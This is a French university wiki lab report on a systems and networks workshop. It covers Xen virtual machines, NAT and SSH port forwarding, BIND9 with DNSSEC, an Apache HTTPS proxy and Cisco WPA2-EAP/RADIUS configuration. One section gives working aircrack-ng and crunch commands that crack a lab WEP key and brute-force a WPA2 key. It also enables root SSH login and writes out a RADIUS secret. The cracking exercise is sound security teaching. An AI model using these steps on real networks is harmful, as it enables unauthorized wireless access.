« Atelier SysRes SE4 2025/2026 E13 » : différence entre les versions

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche
Aucun résumé des modifications
Aucun résumé des modifications
 
Ligne 12 : Ligne 12 :
IP publique de la mandataire : '''193.48.57.169'''
IP publique de la mandataire : '''193.48.57.169'''


Nom service (toi) : '''catwoman'''
Nom service : '''catwoman'''


Nom de domaine (toi) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )
Nom de domaine : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )


Nom service 2 (Antonin) : '''batman'''
Nom service 2 : '''batman'''


Nom de domaine 2 (Antonin) : '''deadpool.tech'''
Nom de domaine 2 : '''deadpool.tech'''


Bridge : '''pont_ironman'''
Bridge : '''pont_ironman'''

Version actuelle datée du 1 mars 2026 à 18:08

Cheklat Billel

IOT 4

2025-2026

Infos concernant notre binôme

Binôme : BIERNACKI Antonin [[1]]

Mandataire : superman

IP publique de la mandataire : 193.48.57.169

Nom service : catwoman

Nom de domaine : dardevil.tech (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )

Nom service 2 : batman

Nom de domaine 2 : deadpool.tech

Bridge : pont_ironman

Réseau IPv4 : 192.168.69.0/24

Création du bridge

auto pont_ironman
iface pont_ironman inet manual
        bridge_ports none
        up ip link set $IFACE up
        down ip link set $IFACE down
ifup pont_ironman

Création des machines virtuelles

Nous avons créé nos trois machines sur le serveur capbreton via les commandes suivantes :

root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G

Ces commandes fournissent un tableau récapitulatif avec le root password qu'il faut noter pour pouvoir se connecter (ce mot de passe est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mot de passe de votre machine, veillez à mettre un mot de passe robuste car cette machine sera sur internet. xen create permet de démarrer les machines avec leurs fichiers de configuration :

xen create /etc/xen/SE4.catwoman.cfg
xen create /etc/xen/SE4.superman.cfg

xen console permet d'accéder à la console de la machine virtuelle (pour quitter la console un exit suffit et pour quitter la saisie de connexion Ctrl + Shift + 5) :

xen console SE4.catwoman
xen console SE4.superman

Configuration de la machine de service

Montage des partitions /home et /var

Sur capbreton

Pour créer les partitions /home et /var on entre les deux commandes suivantes dans /dev/virtual de capbreton :

lvcreate -n SE4.catwoman.home -L 10G virtual
lvcreate -n SE4.catwoman.var -L 10G virtual

Ensuite on vient ajouter les lignes suivantes dans /etc/xen/SE4.catwoman.cfg :

disk        = [
                  'file:/usr/local/xen/domains/SE4.catwoman/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/SE4.catwoman/swap.img,xvda1,w',
                  'phy:/dev/virtual/SE4.catwoman.home,xvdb,w',
                  'phy:/dev/virtual/SE4.catwoman.var,xvdc,w',
              ]

Sur la machine de service

Pour formater et monter les partitions on utilise les commandes suivantes (/!\ pas dans capbreton) :

mkfs -t ext4 /dev/xvdb
mkfs -t ext4 /dev/xvdc
mount /dev/xvdb /mnt
mv /var/* /mnt
umount /mnt
mount -a

Ajouter ces lignes dans /etc/fstab afin que les partitions soient montées de façon automatique au démarrage de la VM :

/dev/xvdb /var ext4 defaults 0 2
/dev/xvdc /home ext4 defaults 0 2

Enfin vous pouvez redémarrer la VM sur capbreton :

xen shutdown SE4.catwoman
xen create /etc/xen/SE4.catwoman.cfg

Configuration réseau

On modifie le fichier /etc/network/interfaces comme suit :

auto lo
iface lo inet loopback

# IPv4
auto eth0
iface eth0 inet static
    address 192.168.69.3/24
    gateway 192.168.69.1  # IPv4 de superman (mandataire)

# IPv6
auto eth1
iface eth1 inet6 auto

Configuration de la machine mandataire

Configuration réseau

On modifie le fichier /etc/network/interfaces comme suit :

auto lo
iface lo inet loopback

# IPv4 réseau privé
auto eth0
iface eth0 inet static
    address 192.168.69.1/24

# IPv4 publique
auto eth1
iface eth1 inet static
    address 193.48.57.169/27
    gateway 193.48.57.162

On modifie le fichier /etc/xen/SE4.superman.cfg sur capbreton afin d'ajouter une seconde interface réseau branchée sur le bridge public SE4 :

vif = [ 'mac=00:16:3E:19:F0:3B,bridge=pont_ironman', 'mac=00:16:3E:19:F0:3C,bridge=SE4' ]

On fait de même pour catwoman :

vif = [ 'mac=00:16:3E:8F:47:42,bridge=pont_ironman', 'mac=00:16:3E:8F:47:43,bridge=SE4' ]

Configuration SSH et Mascarade

Ces commandes permettent de synchroniser l'heure du système :

apt update
apt install ntp ntpdate host
date

La mascarade se configure avec iptables et consiste à donner une adresse IPv4 permettant d'accéder à internet :

iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24
iptables-save

Dans les VMs on modifie /etc/ssh/sshd_config en ajoutant :

PermitRootLogin yes

On peut ensuite redémarrer le service SSH :

/etc/init.d/ssh restart

La redirection des ports SSH se fait via les commandes suivantes sur la machine mandataire :

iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22
iptables-save

Dans le fichier /etc/sysctl.conf la ligne suivante doit être décommentée :

net.ipv4.ip_forward=1

Nous avons aussi installé iptables-persistent pour éviter de perdre la configuration à chaque reboot.

apt install iptables-persistent

Désormais le SSH peut être fait via les commandes suivantes :

# SSH en IPv4 vers catwoman (port 2203)
ssh root@193.48.57.169 -p 2203
# SSH en IPv6
ssh root@2001:660:4401:60a0:216:3eff:fe8f:4743

DNS et DNSSEC

Configuration de BIND9

On modifie le fichier /etc/bind/named.conf.local sur catwoman pour déclarer la zone dardevil.tech en maître et la zone deadpool.tech en secondaire :

dnssec-policy "dnspol" {
        keys {
                ksk key-directory lifetime unlimited algorithm 13;
                zsk key-directory lifetime unlimited algorithm 13;
        };
        nsec3param;
};

zone "dardevil.tech" {
        type master;
        file "/etc/bind/zones/db.dardevil.tech";
        allow-transfer{secondaries;};
        notify yes;
        key-directory "/etc/bind/keys";
        dnssec-policy "dnspol";
        inline-signing yes;
};

acl "secondaries" {
        192.168.69.2;
        192.168.69.1;
        2001:660:4401:60a0:216:3eff:fefa:18d0;
};

zone "deadpool.tech" {
        type secondary;
        file "/etc/bind/backup/db.deadpool.tech";
        primaries{2001:660:4401:60a0:216:3eff:fefa:18d0;};
};

Fichier de zone db.dardevil.tech

On crée le répertoire /etc/bind/zones/ puis on y crée le fichier de zone :

mkdir /etc/bind/zones
$TTL 400
@ IN SOA ns.dardevil.tech admin.dardevil.tech(
        3647    ;
        21600   ;
        3600    ;
        2592000 ;
        86400   ;
);
@ IN NS ns.dardevil.tech.
@ IN NS ns.deadpool.tech.
ns IN A 193.48.57.169
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743
@ IN A 193.48.57.169
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743
www IN CNAME dardevil.tech.

Génération des clés DNSSEC

BIND9 avec la directive dnssec-policy et inline-signing yes génère et gère automatiquement les clés. Elles sont stockées dans /etc/bind/keys/ :

ls /etc/bind/keys/
# Kdardevil.tech.+013+42449.key      Kdardevil.tech.+013+42449.state
# Kdardevil.tech.+013+42449.private  Kdardevil.tech.+013+45786.key
# Kdardevil.tech.+013+45786.private  Kdardevil.tech.+013+45786.state

Les deux paires de clés correspondent à la KSK (Key Signing Key) et la ZSK (Zone Signing Key), toutes deux utilisant l'algorithme 13 (ECDSA P-256 avec SHA-256). On redémarre BIND9 pour appliquer la configuration :

systemctl restart bind9

On vérifie que la zone est correctement signée :

dig @localhost dardevil.tech DNSKEY
dig @localhost dardevil.tech DS

HTTPS et Certificat SSL

Génération de la clé privée et de la CSR

On génère la clé privée et la CSR (Certificate Signing Request) avec la commande suivante :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr

On remplit ensuite les informations demandées :

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille
Organizational Unit Name (eg, section) []:IOT
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech
Email Address []:billel.cheklat@polytech-lille.net

Le fichier dardevil.csr est ensuite soumis à Gandi pour obtenir le certificat signé.

Obtention du certificat via Gandi

Nous avons obtenu un certificat SSL pour le domaine dardevil.tech auprès de Gandi. Les fichiers sont placés aux emplacements suivants sur catwoman :

  • Certificat : /etc/ssl/certs/dardevil.tech.crt
  • Clé privée : /etc/ssl/private/dardevil.tech.key
  • Chaîne de certification : /etc/ssl/certs/GandiCert.pem

Configuration Apache2

On active les modules nécessaires :

apt install apache2
a2enmod ssl proxy proxy_http

On crée le fichier /etc/apache2/sites-available/dardevil.tech.conf :

# Partie HTTP (port 80) - redirection vers le serveur web en IPv6
<VirtualHost *:80>
    ServerName dardevil.tech
    ServerAlias www.dardevil.tech
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe8f:4743]/
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe8f:4743]/
</VirtualHost>

# Partie HTTPS (port 443)
<IfModule mod_ssl.c>
<VirtualHost *:443>
    ServerName dardevil.tech
    ServerAlias www.dardevil.tech
    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/dardevil.tech.crt
    SSLCertificateKeyFile /etc/ssl/private/dardevil.tech.key
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe8f:4743]/
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe8f:4743]/
</VirtualHost>
</IfModule>

On active le site et on redémarre Apache :

a2ensite dardevil.tech.conf
systemctl restart apache2

Le site est désormais accessible en HTTP et HTTPS à l'adresse https://dardevil.tech.

Effraction WiFi

Cassage de clé WEP (cracotte13)

On commence par identifier les interfaces WiFi et les réseaux disponibles :

sudo airodump-ng wlx40a5ef010eac

On cible la cracotte13 (channel 4) et on lance la capture :

sudo airodump-ng wlx40a5ef010eac --write dump --bssid 04:DA:D2:9C:50:5C -c4

Une fois suffisamment d'IVs capturés, on lance aircrack-ng :

aircrack-ng dump-01.cap

Résultat obtenu :

KEY FOUND! [ FF:FF:FF:FF:FA:BC:14:CB:AE:EE:EE:EE:EE ]

Cassage de clé WPA2 par force brute (kracotte13)

On lance la capture sur la kracotte13 (channel 13) :

sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:0C -w wpa_capture wlx40a5ef010eac

On génère un dictionnaire de toutes les combinaisons à 8 chiffres avec crunch :

crunch 8 8 0123456789 -o dict_8chiffres.txt

On lance le cassage par force brute :

aircrack-ng -w dict_8chiffres.txt -b 44:AD:D9:5F:87:0C wpa_capture-01.cap

Résultat obtenu :

KEY FOUND! [ 66677666 ]

Sécurisation WiFi par WPA2-EAP

Partie VLAN — Routeur C9200-E304

On configure le pool DHCP pour le VLAN 13 (Billel) sur le routeur :

C9200-E304#configure 
C9200-E304(config)#ip dhcp pool PoolBillel
C9200-E304(dhcp-config)#network 10.60.13.0 255.255.255.0
C9200-E304(dhcp-config)#dns-server 193.48.57.169
C9200-E304(dhcp-config)#default-router 10.60.13.254
C9200-E304(dhcp-config)#exit
C9200-E304(config)#exit
C9200-E304#write

Partie WiFi — Borne wifi-E306

On configure l'authentification RADIUS et le SSID sur la borne wifi-E306. Nous avons utilisé le VLAN 23 (après correction, le VLAN 13 générant une erreur sur cette borne) :

wifi-E306(config)#aaa new-model
wifi-E306(config)#aaa authentication login eap_student13 group radius_student13
wifi-E306(config)#radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student13
wifi-E306(config)#aaa group server radius radius_student13
wifi-E306(config-sg-radius)#server 192.168.69.3 auth-port 1812 acct-port 1813
wifi-E306(config-sg-radius)#exit
wifi-E306(config)#dot11 ssid VM_SERVICES_13
wifi-E306(config-ssid)#vlan 23
wifi-E306(config-ssid)#authentication open eap eap_student13
wifi-E306(config-ssid)#authentication network-eap eap_student13
wifi-E306(config-ssid)#authentication key-management wpa
wifi-E306(config-ssid)#mbssid guest-mode
wifi-E306(config-ssid)#exit
wifi-E306(config)#interface Dot11Radio0
wifi-E306(config-if)#encryption vlan 23 mode ciphers aes-ccm
wifi-E306(config-if)#ssid VM_SERVICES_13
wifi-E306(config-if)#exit
wifi-E306(config)#interface Dot11Radio0.23
wifi-E306(config-subif)#encapsulation dot1Q 23
wifi-E306(config-subif)#bridge-group 23
wifi-E306(config-subif)#exit
wifi-E306(config)#interface GigabitEthernet0.23
wifi-E306(config-subif)#encapsulation dot1Q 23
wifi-E306(config-subif)#bridge-group 23
wifi-E306(config-subif)#exit
wifi-E306(config)#exit
wifi-E306#write

Partie WiFi — Borne wifi-E304

On reproduit la configuration sur la borne wifi-E304, en utilisant cette fois l'interface Dot11Radio1 (5 GHz) :

wifi-E304(config)#aaa new-model
wifi-E304(config)#aaa authentication login eap_student13 group radius_student13
wifi-E304(config)#radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student13
wifi-E304(config)#aaa group server radius radius_student13
wifi-E304(config-sg-radius)#server 192.168.69.3 auth-port 1812 acct-port 1813
wifi-E304(config-sg-radius)#exit
wifi-E304(config)#dot11 ssid VM_SERVICES_13
wifi-E304(config-ssid)#vlan 23
wifi-E304(config-ssid)#authentication open eap eap_student13
wifi-E304(config-ssid)#authentication network-eap eap_student13
wifi-E304(config-ssid)#authentication key-management wpa
wifi-E304(config-ssid)#mbssid guest-mode
wifi-E304(config-ssid)#exit
wifi-E304(config)#interface Dot11Radio1
wifi-E304(config-if)#encryption vlan 23 mode ciphers aes-ccm
wifi-E304(config-if)#ssid VM_SERVICES_13
wifi-E304(config-if)#exit
wifi-E304(config)#interface Dot11Radio1.23
wifi-E304(config-subif)#encapsulation dot1Q 23
wifi-E304(config-subif)#bridge-group 23
wifi-E304(config-subif)#exit
wifi-E304(config)#interface GigabitEthernet0.23
wifi-E304(config-subif)#encapsulation dot1Q 23
wifi-E304(config-subif)#bridge-group 23
wifi-E304(config-subif)#exit
wifi-E304(config)#exit
wifi-E304#write